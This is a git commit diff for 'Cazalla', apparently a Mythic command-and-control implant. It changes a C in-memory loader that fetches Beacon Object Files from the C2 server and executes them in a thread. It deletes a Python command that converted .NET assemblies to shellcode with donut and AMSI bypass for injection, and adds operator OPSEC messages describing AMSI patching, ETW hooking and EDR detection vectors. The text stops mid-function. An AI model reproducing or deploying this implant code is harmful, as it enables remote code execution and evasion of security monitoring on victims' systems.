Bof and assemblies completed

This commit is contained in:
marcos.luna
2025-12-16 14:22:51 +01:00
parent e45375cbd5
commit 9351102878
18 changed files with 372 additions and 544 deletions
@@ -193,12 +193,6 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
// But if called directly, we'll handle it here // But if called directly, we'll handle it here
_wrn("inline_execute_assembly should be called via subtasks"); _wrn("inline_execute_assembly should be called via subtasks");
if (analizadorTarea) liberarAnalizador(analizadorTarea); if (analizadorTarea) liberarAnalizador(analizadorTarea);
} else if (tarea == EXECUTE_ASSEMBLY_CMD) {
_inf("===== PROCESSING EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
// This command is typically handled via subtasks in Python (inject_shellcode)
// But if called directly, we'll handle it here
_wrn("execute_assembly should be called via subtasks");
if (analizadorTarea) liberarAnalizador(analizadorTarea);
} else { } else {
_wrn("Tarea desconocida: 0x%02x", tarea); _wrn("Tarea desconocida: 0x%02x", tarea);
_wrn("Tarea %u: Comando desconocido, liberando recursos", i+1); _wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
@@ -67,7 +67,6 @@
/* BOF and Assembly execution commands */ /* BOF and Assembly execution commands */
#define INLINE_EXECUTE_CMD 0x70 #define INLINE_EXECUTE_CMD 0x70
#define INLINE_EXECUTE_ASSEMBLY_CMD 0x71 #define INLINE_EXECUTE_ASSEMBLY_CMD 0x71
#define EXECUTE_ASSEMBLY_CMD 0x72
/* Extension marker to carry SOCKS array in binary messages */ /* Extension marker to carry SOCKS array in binary messages */
#define SOCKS_BLOCK_MARKER 0xF5 #define SOCKS_BLOCK_MARKER 0xF5
@@ -35,7 +35,6 @@ static DWORD WINAPI BOFExecutionThread(LPVOID lpParam) {
return 1; return 1;
} }
_inf("[BOFExecutionThread] Iniciando ejecución de BOF en thread separado");
threadArgs->completed = FALSE; threadArgs->completed = FALSE;
threadArgs->success = FALSE; threadArgs->success = FALSE;
@@ -45,7 +44,6 @@ static DWORD WINAPI BOFExecutionThread(LPVOID lpParam) {
threadArgs->success = result; threadArgs->success = result;
threadArgs->completed = TRUE; threadArgs->completed = TRUE;
_inf("[BOFExecutionThread] BOF ejecutado, success=%d", result);
return result ? 0 : 1; return result ? 0 : 1;
} }
@@ -75,8 +73,6 @@ void BeaconPrintf(int type, char* fmt, ...) {
beacon_output_size += length; beacon_output_size += length;
beacon_output_offset += length; beacon_output_offset += length;
va_end(args); va_end(args);
_inf("[BeaconPrintf] Output capturado: %d bytes, total buffer: %d bytes", length, beacon_output_size);
} }
// BeaconOutput - Capture raw output from BOFs // BeaconOutput - Capture raw output from BOFs
@@ -94,8 +90,6 @@ void BeaconOutput(int type, char* data, int len) {
memcpy(beacon_output_buffer + beacon_output_offset, data, len); memcpy(beacon_output_buffer + beacon_output_offset, data, len);
beacon_output_size += len; beacon_output_size += len;
beacon_output_offset += len; beacon_output_offset += len;
_inf("[BeaconOutput] Output capturado: %d bytes, total buffer: %d bytes", len, beacon_output_size);
} }
// BeaconGetOutputData - Get captured output (caller must free) // BeaconGetOutputData - Get captured output (caller must free)
@@ -185,7 +179,6 @@ BOOL BeaconIsAdmin(void) {
DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) { DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) {
#define CHUNK_SIZE 512000 // 512 KB #define CHUNK_SIZE 512000 // 512 KB
_inf("[inline_execute] Obteniendo archivo BOF de Mythic: %.*s", 36, fileId);
DWORD status = 0; DWORD status = 0;
PBYTE dataBuffer = NULL; PBYTE dataBuffer = NULL;
@@ -330,7 +323,6 @@ DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) {
bof->size = totalBytesRead; bof->size = totalBytesRead;
bof->totalChunks = totalChunks; bof->totalChunks = totalChunks;
_inf("[inline_execute] Archivo BOF obtenido: %zu bytes, %u chunks", totalBytesRead, totalChunks);
return 0; return 0;
cleanup: cleanup:
@@ -500,12 +492,9 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg
return FALSE; return FALSE;
} }
_inf("[ExecuteEntry] Buscando entry point '%s' en %u símbolos", func, COFF->FileHeader->NumberOfSymbols);
for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) { for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) {
if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) { if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) {
foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value); foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value);
_inf("[ExecuteEntry] Entry point '%s' encontrado en símbolo %u: 0x%p (offset=%u)",
func, counter, foo, COFF->SymbolTable[counter].Value);
break; break;
} }
} }
@@ -516,12 +505,7 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg
} }
// Execute the BOF // Execute the BOF
// Execute the BOF
// Note: If the BOF crashes, the agent will crash too since we can't use SEH with GCC
// The BOF should handle its own errors gracefully
_inf("[ExecuteEntry] Ejecutando entry point '%s'...", func);
foo((char*)args, (UINT32)argSize); foo((char*)args, (UINT32)argSize);
_inf("[ExecuteEntry] Entry point '%s' completado", func);
return TRUE; return TRUE;
} }
@@ -639,7 +623,6 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
} }
// Execute the BOF // Execute the BOF
_inf("[RunCOFF] Preparando ejecución de entry point '%s' con argumentos: data=%p, size=%lu", EntryName, argumentdata, argumentsize);
if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) { if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) {
_err("[RunCOFF] Error ejecutando entry point '%s'", EntryName); _err("[RunCOFF] Error ejecutando entry point '%s'", EntryName);
// Cleanup // Cleanup
@@ -652,7 +635,6 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE); if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE);
return FALSE; return FALSE;
} }
_inf("[RunCOFF] Entry point '%s' ejecutado exitosamente", EntryName);
// Cleanup // Cleanup
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) { for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
@@ -709,12 +691,9 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
if (!argsJson || argsJsonLen == 0) { if (!argsJson || argsJsonLen == 0) {
*outBuffer = NULL; *outBuffer = NULL;
*outSize = 0; *outSize = 0;
_inf("[ParseBOFArguments] No arguments provided");
return TRUE; // No arguments is valid return TRUE; // No arguments is valid
} }
_inf("[ParseBOFArguments] Parsing JSON arguments: %.*s", (int)argsJsonLen, argsJson);
// Check for empty array [] // Check for empty array []
PCHAR p = argsJson; PCHAR p = argsJson;
PCHAR end = argsJson + argsJsonLen; PCHAR end = argsJson + argsJsonLen;
@@ -726,7 +705,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
// Empty array // Empty array
*outBuffer = NULL; *outBuffer = NULL;
*outSize = 0; *outSize = 0;
_inf("[ParseBOFArguments] Empty array, no arguments");
return TRUE; return TRUE;
} }
} }
@@ -841,20 +819,16 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
} }
memcpy(buffer + offset, &val, 2); memcpy(buffer + offset, &val, 2);
offset += 2; offset += 2;
_inf("[ParseBOFArguments] Packed int16: %d", val);
} else if (strcmp(typeBuf, "int32") == 0) { } else if (strcmp(typeBuf, "int32") == 0) {
INT32 val = 0; INT32 val = 0;
// Handle boolean values (true/false) and numeric values // Handle boolean values (true/false) and numeric values
// First check for unquoted boolean literals // First check for unquoted boolean literals
if (valueLen >= 4 && (strncmp(valueStart, "true", 4) == 0 || strncmp(valueStart, "True", 4) == 0)) { if (valueLen >= 4 && (strncmp(valueStart, "true", 4) == 0 || strncmp(valueStart, "True", 4) == 0)) {
val = 1; val = 1;
_inf("[ParseBOFArguments] Detected boolean 'true' -> 1");
} else if (valueLen >= 5 && (strncmp(valueStart, "false", 5) == 0 || strncmp(valueStart, "False", 5) == 0)) { } else if (valueLen >= 5 && (strncmp(valueStart, "false", 5) == 0 || strncmp(valueStart, "False", 5) == 0)) {
val = 0; val = 0;
_inf("[ParseBOFArguments] Detected boolean 'false' -> 0");
} else { } else {
val = (INT32)atoi(valueStart); val = (INT32)atoi(valueStart);
_inf("[ParseBOFArguments] Parsed numeric value: %d", val);
} }
if (offset + 4 > bufferSize) { if (offset + 4 > bufferSize) {
LocalFree(buffer); LocalFree(buffer);
@@ -862,7 +836,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
} }
memcpy(buffer + offset, &val, 4); memcpy(buffer + offset, &val, 4);
offset += 4; offset += 4;
_inf("[ParseBOFArguments] Packed int32: %d (from '%.*s', len=%zu)", val, (int)valueLen, valueStart, valueLen);
} else if (strcmp(typeBuf, "string") == 0) { } else if (strcmp(typeBuf, "string") == 0) {
if (offset + 4 + valueLen + 1 > bufferSize) { if (offset + 4 + valueLen + 1 > bufferSize) {
LocalFree(buffer); LocalFree(buffer);
@@ -874,7 +847,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
memcpy(buffer + offset, valueStart, valueLen); memcpy(buffer + offset, valueStart, valueLen);
offset += valueLen; offset += valueLen;
buffer[offset++] = '\0'; buffer[offset++] = '\0';
_inf("[ParseBOFArguments] Packed string: %.*s (len=%u)", (int)valueLen, valueStart, len);
} else if (strcmp(typeBuf, "wchar") == 0) { } else if (strcmp(typeBuf, "wchar") == 0) {
// Convert to wide string (UTF-16) // Convert to wide string (UTF-16)
SIZE_T wcharLen = (valueLen + 1) * 2; // Each char becomes 2 bytes SIZE_T wcharLen = (valueLen + 1) * 2; // Each char becomes 2 bytes
@@ -894,7 +866,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
WCHAR nullTerm = 0; WCHAR nullTerm = 0;
memcpy(buffer + offset, &nullTerm, 2); memcpy(buffer + offset, &nullTerm, 2);
offset += 2; offset += 2;
_inf("[ParseBOFArguments] Packed wchar: %.*s (len=%u)", (int)valueLen, valueStart, len);
} else if (strcmp(typeBuf, "base64") == 0) { } else if (strcmp(typeBuf, "base64") == 0) {
// Decode base64 // Decode base64
char* b64Str = (char*)LocalAlloc(LPTR, valueLen + 1); char* b64Str = (char*)LocalAlloc(LPTR, valueLen + 1);
@@ -935,7 +906,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
LocalFree(b64Str); LocalFree(b64Str);
LocalFree(decoded); LocalFree(decoded);
_inf("[ParseBOFArguments] Packed base64: %zu bytes", decodedLen);
} else if (strcmp(typeBuf, "bytes") == 0) { } else if (strcmp(typeBuf, "bytes") == 0) {
// Convert hex string to bytes // Convert hex string to bytes
PBYTE bytes = NULL; PBYTE bytes = NULL;
@@ -965,7 +935,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
offset += bytesLen; offset += bytesLen;
LocalFree(bytes); LocalFree(bytes);
_inf("[ParseBOFArguments] Packed bytes: %zu bytes", bytesLen);
} else { } else {
// Unknown type - skip or error? // Unknown type - skip or error?
_wrn("[ParseBOFArguments] Unknown argument type: %s", typeBuf); _wrn("[ParseBOFArguments] Unknown argument type: %s", typeBuf);
@@ -984,7 +953,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
buffer = NULL; buffer = NULL;
} }
_inf("[ParseBOFArguments] Total packed size: %zu bytes", offset);
*outBuffer = buffer; *outBuffer = buffer;
*outSize = offset; *outSize = offset;
return TRUE; return TRUE;
@@ -994,7 +962,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
* InlineExecuteHandler - Main handler for inline_execute command * InlineExecuteHandler - Main handler for inline_execute command
*/ */
VOID InlineExecuteHandler(PAnalizador argumentos) { VOID InlineExecuteHandler(PAnalizador argumentos) {
_inf("===== InlineExecuteHandler INICIO =====");
// Read task UUID // Read task UUID
SIZE_T uuidLen = 36; SIZE_T uuidLen = 36;
@@ -1018,8 +985,6 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
SIZE_T argsLen = 0; SIZE_T argsLen = 0;
PBYTE argsBuffer = getBytes(argumentos, &argsLen); PBYTE argsBuffer = getBytes(argumentos, &argsLen);
_inf("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu",
36, taskUuid, (int)fileIdLen, fileId, argsLen);
// Create response package // Create response package
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
@@ -1054,9 +1019,7 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
PBYTE bofArgs = NULL; PBYTE bofArgs = NULL;
SIZE_T bofArgsSize = 0; SIZE_T bofArgsSize = 0;
if (argsBuffer && argsLen > 0) { if (argsBuffer && argsLen > 0) {
_inf("[inline_execute] Argumentos recibidos del translator: size=%zu bytes", argsLen); // The buffer from translator already has the format from Packer: [size:4 bytes LE][data]
// The buffer from translator already has the format from Packer: [size:4 bytes LE][data]
// We just need to replace the first 4 bytes with the total size // We just need to replace the first 4 bytes with the total size
bofArgs = argsBuffer; // Use the buffer directly bofArgs = argsBuffer; // Use the buffer directly
bofArgsSize = argsLen; bofArgsSize = argsLen;
@@ -1064,9 +1027,7 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
// Replace first 4 bytes with total size (including the 4-byte header) // Replace first 4 bytes with total size (including the 4-byte header)
UINT32 totalSize = (UINT32)bofArgsSize; UINT32 totalSize = (UINT32)bofArgsSize;
memcpy(bofArgs, &totalSize, 4); memcpy(bofArgs, &totalSize, 4);
_inf("[inline_execute] Buffer preparado: total_size=%u, buffer_size=%zu", totalSize, bofArgsSize);
} else { } else {
_inf("[inline_execute] No hay argumentos");
bofArgs = NULL; bofArgs = NULL;
bofArgsSize = 0; bofArgsSize = 0;
if (argsBuffer) { if (argsBuffer) {
@@ -1082,53 +1043,9 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
} }
beacon_output_size = 0; beacon_output_size = 0;
beacon_output_offset = 0; beacon_output_offset = 0;
_inf("[inline_execute] Buffer de output limpiado antes de ejecutar BOF");
// Execute the BOF // Execute the BOF
DWORD fileSize = (DWORD)bof.size; DWORD fileSize = (DWORD)bof.size;
_inf("[inline_execute] Ejecutando BOF: size=%lu bytes, entry=go", fileSize);
_inf("[inline_execute] Argumentos para BOF: size=%zu bytes, ptr=%p", bofArgsSize, bofArgs);
// Log argument structure for debugging (first 100 bytes)
if (bofArgs && bofArgsSize > 0) {
int logBytes = (bofArgsSize > 100) ? 100 : bofArgsSize;
// Log only summary of arguments (reduced verbosity to prevent log blocking)
if (bofArgsSize >= 4) {
UINT32* ptr = (UINT32*)bofArgs;
SIZE_T offset = 4;
if (offset + 4 <= bofArgsSize) {
UINT32 bytesLen = ptr[1];
offset += 4 + bytesLen;
if (offset + 4 <= bofArgsSize) {
UINT32 assemblyLen = *(UINT32*)((PBYTE)bofArgs + offset);
offset += 4;
if (offset + 4 <= bofArgsSize) {
UINT32 wcharLen = *(UINT32*)((PBYTE)bofArgs + offset);
offset += 4 + wcharLen;
if (offset + 4 <= bofArgsSize) {
INT32 patchExit = *(INT32*)((PBYTE)bofArgs + offset);
offset += 4;
if (offset + 4 <= bofArgsSize) {
INT32 amsi = *(INT32*)((PBYTE)bofArgs + offset);
offset += 4;
if (offset + 4 <= bofArgsSize) {
INT32 etw = *(INT32*)((PBYTE)bofArgs + offset);
_inf("[inline_execute] Args: bytes=%u, assembly=%u, wchar=%u, patch_exit=%d, amsi=%d, etw=%d",
bytesLen, assemblyLen, wcharLen, patchExit, amsi, etw);
}
}
}
}
}
}
}
}
// Execute the BOF in a separate thread to prevent agent blocking
// This allows the agent to continue even if the BOF hangs or crashes
_inf("[inline_execute] === EJECUTANDO BOF EN THREAD SEPARADO ===");
_inf("[inline_execute] BOF: buffer=%p, size=%lu, args=%p, argsSize=%zu",
bof.buffer, fileSize, bofArgs, bofArgsSize);
// Prepare thread arguments // Prepare thread arguments
BOF_THREAD_ARGS threadArgs = {0}; BOF_THREAD_ARGS threadArgs = {0};
@@ -1157,26 +1074,17 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
// Wait for BOF execution with timeout (30 seconds) // Wait for BOF execution with timeout (30 seconds)
DWORD timeoutMs = 30000; // 30 seconds DWORD timeoutMs = 30000; // 30 seconds
_inf("[inline_execute] Esperando ejecución del BOF (timeout=%lu ms)...", timeoutMs);
DWORD waitResult = WaitForSingleObject(hThread, timeoutMs); DWORD waitResult = WaitForSingleObject(hThread, timeoutMs);
_inf("[inline_execute] WaitForSingleObject retornó: %lu (WAIT_OBJECT_0=%d, WAIT_TIMEOUT=%d)",
waitResult, WAIT_OBJECT_0, WAIT_TIMEOUT);
BOOL bofSuccess = FALSE; BOOL bofSuccess = FALSE;
if (waitResult == WAIT_OBJECT_0) { if (waitResult == WAIT_OBJECT_0) {
// Thread completed // Thread completed
_inf("[inline_execute] Thread del BOF completó exitosamente");
bofSuccess = threadArgs.success; bofSuccess = threadArgs.success;
_inf("[inline_execute] threadArgs.success=%d, threadArgs.completed=%d",
threadArgs.success, threadArgs.completed);
} else if (waitResult == WAIT_TIMEOUT) { } else if (waitResult == WAIT_TIMEOUT) {
// Thread timed out - BOF is hanging // Thread timed out - BOF is hanging
_err("[inline_execute] BOF se colgó (timeout después de %lu ms)", timeoutMs); _err("[inline_execute] BOF se colgó (timeout después de %lu ms)", timeoutMs);
_inf("[inline_execute] Intentando terminar thread colgado...");
// Try to terminate the thread (not ideal, but necessary to unblock agent) // Try to terminate the thread (not ideal, but necessary to unblock agent)
if (TerminateThread(hThread, 1)) { if (!TerminateThread(hThread, 1)) {
_inf("[inline_execute] Thread terminado exitosamente");
} else {
_err("[inline_execute] Error terminando thread (error: %lu)", GetLastError()); _err("[inline_execute] Error terminando thread (error: %lu)", GetLastError());
} }
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] WARNING: BOF se colgó después de %lu segundos\n", timeoutMs / 1000); PackageAddFormatPrintf(salida, FALSE, "[inline_execute] WARNING: BOF se colgó después de %lu segundos\n", timeoutMs / 1000);
@@ -1,220 +0,0 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
import logging
import os
import tempfile
logging.basicConfig(level=logging.INFO)
class ExecuteAssemblyArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="assembly_name",
cli_name="Assembly",
display_name="Assembly",
type=ParameterType.ChooseOne,
dynamic_query_function=self.get_files,
description="Already existing .NET assembly to execute (e.g. SharpUp.exe)",
parameter_group_info=[
ParameterGroupInfo(
required=True,
group_name="Default",
ui_position=1
)
]),
CommandParameter(
name="assembly_file",
display_name="New Assembly",
type=ParameterType.File,
description="A new .NET assembly to execute. After uploading once, you can just supply the -Assembly parameter",
parameter_group_info=[
ParameterGroupInfo(
required=True,
group_name="New Assembly",
ui_position=1,
)
]
),
CommandParameter(
name="assembly_arguments",
cli_name="Arguments",
display_name="Arguments",
type=ParameterType.String,
description="Arguments to pass to the assembly.",
default_value="",
parameter_group_info=[
ParameterGroupInfo(
required=True, group_name="Default", ui_position=2,
),
ParameterGroupInfo(
required=True, group_name="New Assembly", ui_position=2
),
],
),
]
async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
response = PTRPCDynamicQueryFunctionMessageResponse()
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
CallbackID=callback.Callback,
LimitByCallback=False,
Filename="",
))
if file_resp.Success:
file_names = []
for f in file_resp.Files:
if f.Filename not in file_names and f.Filename.endswith(".exe"):
file_names.append(f.Filename)
response.Success = True
response.Choices = file_names
return response
else:
await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage(
CallbackId=callback.Callback,
Message=f"Failed to get files: {file_resp.Error}",
MessageLevel="warning"
))
response.Error = f"Failed to get files: {file_resp.Error}"
return response
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Must supply arguments")
raise ValueError("Must supply named arguments or use the modal")
class ExecuteAssemblyCommand(CommandBase):
cmd = "execute_assembly"
needs_admin = False
help_cmd = "execute_assembly -File [Assembly Filename] [-Arguments [optional arguments]]"
description = "Execute a .NET Assembly. Use an already uploaded assembly file or upload one with the command. (e.g., execute_assembly -File SharpUp.exe -Arguments \"audit\")"
version = 1
author = "@c0rnbread (adapted for Cazalla)"
script_only = True
attackmapping = []
argument_class = ExecuteAssemblyArguments
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
try:
groupName = taskData.args.get_parameter_group_name()
if groupName == "New Assembly":
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
AgentFileID=taskData.args.get_arg("assembly_file")
))
if file_resp.Success:
if len(file_resp.Files) > 0:
pass
else:
raise Exception("Failed to find that file")
else:
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
# Set display parameters
response.DisplayParams = "-Assembly {} -Arguments {}".format(
file_resp.Files[0].Filename,
taskData.args.get_arg("assembly_arguments")
)
taskData.args.add_arg("assembly_name", file_resp.Files[0].Filename)
taskData.args.remove_arg("assembly_file")
elif groupName == "Default":
# We're trying to find an already existing file and use that
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
Filename=taskData.args.get_arg("assembly_name"),
LimitByCallback=False,
MaxResults=1
))
if file_resp.Success:
if len(file_resp.Files) > 0:
logging.info(f"Found existing Assembly with File ID : {file_resp.Files[0].AgentFileId}")
taskData.args.remove_arg("assembly_name") # Don't need this anymore
# Set display parameters
response.DisplayParams = "-Assembly {} -Arguments {}".format(
file_resp.Files[0].Filename,
taskData.args.get_arg("assembly_arguments")
)
elif len(file_resp.Files) == 0:
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
else:
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
# Get the file contents of the .NET assembly
assembly_contents = await SendMythicRPCFileGetContent(
MythicRPCFileGetContentMessage(AgentFileId=file_resp.Files[0].AgentFileId)
)
# Try to import donut - required for execute_assembly
try:
import donut
except ImportError:
raise Exception("The 'donut' Python module is not installed. Please install it with: pip install donut-shellcode")
# Need a physical path for donut.create()
fd, temppath = tempfile.mkstemp(suffix='.exe')
logging.info(f"Writing Assembly Contents to temporary file \"{temppath}\"")
with os.fdopen(fd, 'wb') as tmp:
tmp.write(assembly_contents.Content)
# Bypass=None, ExitOption=exit process
assembly_shellcode = donut.create(file=temppath, params=taskData.args.get_arg("assembly_arguments"), bypass=1, exit_opt=2)
# Clean up temp file
os.remove(temppath)
logging.info(f"Converted .NET into Shellcode {len(assembly_shellcode)} bytes")
# .NET shellcode stub in Mythic
shellcode_file_resp = await SendMythicRPCFileCreate(
MythicRPCFileCreateMessage(TaskID=taskData.Task.ID, FileContents=assembly_shellcode, DeleteAfterFetch=True)
)
if shellcode_file_resp.Success:
shellcode_file_uuid = shellcode_file_resp.AgentFileId
else:
raise Exception("Failed to register execute_assembly binary: " + shellcode_file_resp.Error)
# Send subtask to inject shellcode
# Note: This requires an inject_shellcode command to exist
# For now, we'll just register the file and note that inject_shellcode needs to be implemented
subtask = await SendMythicRPCTaskCreateSubtask(
MythicRPCTaskCreateSubtaskMessage(
taskData.Task.ID,
CommandName="inject_shellcode",
SubtaskCallbackFunction="coff_completion_callback",
Params=json.dumps({
"shellcode_file": shellcode_file_uuid,
"method": "default"
}),
Token=taskData.Task.TokenID,
)
)
return response
except Exception as e:
raise Exception("Error from Mythic: " + str(e))
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -313,6 +313,67 @@ class InlineExecuteCommand(CommandBase):
return response return response
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
Warns about BOF execution risks.
"""
message = "⚠️ OPSEC WARNING - BOF Execution Detected\n\n"
message += "BOF (Beacon Object File) execution is monitored by:\n"
message += " • EDR/XDR solutions (memory allocation monitoring)\n"
message += " • API call monitoring (LoadLibraryA, GetProcAddress)\n"
message += " • Memory scanning (executable page allocation)\n"
message += " • Symbol resolution tracking\n\n"
message += "🔍 DETECTION MECHANISMS:\n"
message += " • PAGE_EXECUTE_READWRITE memory allocation\n"
message += " • External symbol resolution (LoadLibraryA/GetProcAddress)\n"
message += " • COFF loader activity patterns\n"
message += " • Beacon API function calls\n\n"
message += "💡 CONSIDERATIONS:\n"
message += " • In-process execution reduces some detection vectors (no new process)\n"
message += " • Better OPSEC than `shell` (no cmd.exe spawn)\n"
message += " • Memory allocation may be scanned by EDR\n"
message += " • API calls may be logged by security tools\n\n"
message += "⚠️ DETECTION RISK: MEDIUM\n"
message += "Usually not immediately detected, but may be flagged by behavioral analysis.\n\n"
message += "✅ This is a WARNING only - command will proceed.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=False, # Medium risk, don't block
OpsecPreBypassRole="operator",
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
message = "⚠️ OPSEC POST-CHECK - BOF Execution Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • Process Create: BOF execution in current process\n"
message += " • Memory Allocation: Executable memory pages (PAGE_EXECUTE_READWRITE)\n"
message += " • API Calls: LoadLibraryA, GetProcAddress, symbol resolution\n\n"
message += "💡 ARTIFACT DETAILS:\n"
message += " • Process Create artifact is logged in Mythic\n"
message += " • Memory allocation may be detected by EDR memory scanning\n"
message += " • API calls may be logged by security tools\n\n"
message += "✅ Review artifacts in the Artifacts tab after execution."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostMessage=message
)
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp return resp
@@ -269,6 +269,130 @@ class InlineExecuteAssemblyCommand(CommandBase):
alias=True alias=True
) )
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
Warns about .NET assembly execution risks, especially with bypass flags.
"""
# Check if bypass flags are enabled
amsi_enabled = taskData.args.get_arg("amsi") or False
etw_enabled = taskData.args.get_arg("etw") or False
patch_exit_enabled = taskData.args.get_arg("patch_exit") or False
blocked = False
message = "⚠️ OPSEC WARNING - .NET Assembly In-Process Execution Detected\n\n"
message += ".NET assembly execution is monitored by:\n"
message += " • EDR/XDR solutions (CLR loading detection)\n"
message += " • AMSI (Anti-Malware Scan Interface)\n"
message += " • ETW (Event Tracing for Windows)\n"
message += " • Memory scanning (executable page allocation)\n"
message += " • Behavioral analysis engines\n\n"
if amsi_enabled or etw_enabled:
message += "🚨 HIGH RISK DETECTED - Bypass Flags Enabled\n\n"
message += "⚠️ WARNING: You have enabled bypass flags that significantly increase detection risk:\n\n"
if amsi_enabled:
message += " • --amsi: AMSI bypass by patching clr.dll\n"
message += " - Patching clr.dll may trigger behavioral detections\n"
message += " - More evasive than patching amsi.dll, but still detectable\n"
message += " - Advanced EDR solutions monitor CLR modifications\n\n"
if etw_enabled:
message += " • --etw: ETW bypass via EAT hooking\n"
message += " - EAT hooking advapi32.dll!EventWrite is monitored\n"
message += " - Advanced EDR solutions detect export table modifications\n"
message += " - May trigger immediate alerts\n\n"
message += "🔍 BYPASS DETECTION MECHANISMS:\n"
message += " • CLR DLL patching detection\n"
message += " • Export Address Table (EAT) hooking detection\n"
message += " • Behavioral analysis of bypass techniques\n"
message += " • Memory integrity checks\n\n"
message += "⚠️ DETECTION RISK: HIGH (with bypass flags)\n"
message += "Bypass techniques are heavily monitored and may trigger immediate alerts.\n\n"
# Block if both bypasses are enabled
if amsi_enabled and etw_enabled:
blocked = True
message += "🚨 BLOCKED: Both AMSI and ETW bypasses enabled.\n"
message += "This combination has very high detection risk.\n"
message += "Consider using only one bypass or none if possible.\n\n"
else:
message += "🔍 DETECTION MECHANISMS:\n"
message += " • CLR loading into memory\n"
message += " • .NET assembly reflection/loading\n"
message += " • Memory allocation (executable pages)\n"
message += " • Assembly execution patterns\n\n"
